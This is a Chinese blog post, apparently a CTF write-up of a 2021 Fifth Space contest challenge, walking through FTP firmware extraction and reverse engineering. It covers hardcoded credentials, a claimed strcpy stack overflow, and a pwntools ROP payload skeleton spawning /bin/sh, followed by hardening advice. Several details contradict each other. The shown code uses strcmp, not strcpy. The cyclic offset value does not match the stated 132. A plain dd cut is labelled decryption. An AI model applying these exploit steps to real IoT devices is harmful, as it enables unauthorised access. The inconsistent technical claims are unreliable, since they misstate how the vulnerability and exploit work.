2021第五空间智能安全大赛:FTP固件逆向分析实战与漏洞挖掘指南

1次阅读
没有评论

共计 1737 个字符,预计需要花费 5 分钟才能阅读完成。

image.webp

背景介绍

固件安全分析是物联网设备安全评估的核心环节。随着 IoT 设备数量激增,固件漏洞已成为攻击者入侵智能设备的主要跳板。2021 年第五空间智能安全大赛中的 FTP 服务分析题目,典型反映了现实场景中因固件安全缺陷导致的认证绕过风险。通过逆向分析挖掘此类漏洞,不仅能提升 CTF 竞赛能力,更能应用于企业级 IoT 安全审计。

技术选型对比

  • binwalk
    快速提取固件的首选工具,支持 200+ 文件签名识别,但无法处理自定义打包格式时需配合 dd 手动切割

  • Ghidra
    NSA 开源的反编译工具,ARM 架构交叉引用分析出色,但大体积固件加载时内存消耗较高

  • IDA Pro
    商业逆向标杆,支持动态调试和插件扩展,但 ARM-Thumb 混合模式切换需要手动干预

实战步骤详解

固件提取与解包

使用 binwalk 自动解包后,发现存在 SquashFS 文件系统残留数据:

#!/usr/bin/env python3
import subprocess

# 自动化固件提取脚本
def extract_firmware(firmware_path):
    print("[*] Running binwalk analysis")
    result = subprocess.run(["binwalk", "-e", firmware_path], 
        capture_output=True,
        text=True
    )
    print(result.stdout)

    # 处理加密分区场景
    if "Unhandled compression type" in result.stderr:
        print("[!] Detected custom packing, trying manual extraction")
        subprocess.run(["dd", "if="+firmware_path, "bs=1", "skip=123456", "of=decrypted.bin"])

# 示例调用
extract_firmware("target_firmware.bin")

关键函数逆向分析

通过 Ghidra 定位到 FTP 认证函数check_credentials(),关键代码片段反编译结果如下(伪代码):

int check_credentials(char *username, char *password) {char ftpuser[16] = "ftpuser"; // 硬编码凭证
  char ftppass[16] = "P@ssw0rd";

  if (strcmp(username, ftpuser) == 0) {if (strcmp(password, ftppass) == 0) {return 1; // 认证成功}
  }
  return 0;
}

2021 第五空间智能安全大赛:FTP 固件逆向分析实战与漏洞挖掘指南
图示:函数栈帧分析显示密码缓冲区仅 16 字节,存在溢出可能

FTP 漏洞定位

审计发现 ARM 汇编中 strcpy 未做长度检查(对应指令集片段):

LDR     R1, [R4]        ; 用户输入加载到 R1
ADD     R0, SP, #0x1C   ; 栈缓冲区地址
BL      strcpy          ; 危险函数调用

漏洞利用开发

  1. 弱凭证利用
    直接使用 ftpuser:P@ssw0rd 登录获取 shell 权限

  2. 栈溢出利用
    构造 ROP 链覆盖返回地址,示例 payload 结构:

    from pwn import *
    
    # 计算偏移量
    offset = cyclic_find(0x61616168)  # Ghidra 分析得偏移为 132
    
    # 构建 ROP 链
    rop = ROP("./libc.so")
    rop.execve("/bin/sh", 0, 0)
    
    payload = b"A"*offset + rop.chain()

防御方案

  • 凭证安全
    强制首次登录修改默认密码,使用 PBKDF2 等算法加密存储

  • 内存防护
    编译时添加 -fstack-protector-all-Wl,-z,now选项

  • 权限控制
    通过 Linux capabilities 限制 FTP 进程权限

延伸思考

未来 IoT 固件安全面临三大挑战:
1. RISC- V 等新架构的逆向工具链不完善
2. 量子计算对传统加密算法的威胁
3. 供应链攻击导致的固件植入后门

实战练习

  1. 尝试在 QEMU 中模拟运行该固件
  2. 使用 Angr 符号执行自动挖掘认证逻辑漏洞
  3. 编写 IDA Python 脚本自动标记危险函数调用

推荐阅读

  • 《IoT 渗透测试实战》第 5 章固件分析
  • ARM 官方《Procedure Call Standard》文档
  • 第五届第五空间大赛官方 writeup
正文完
 0
评论(没有评论)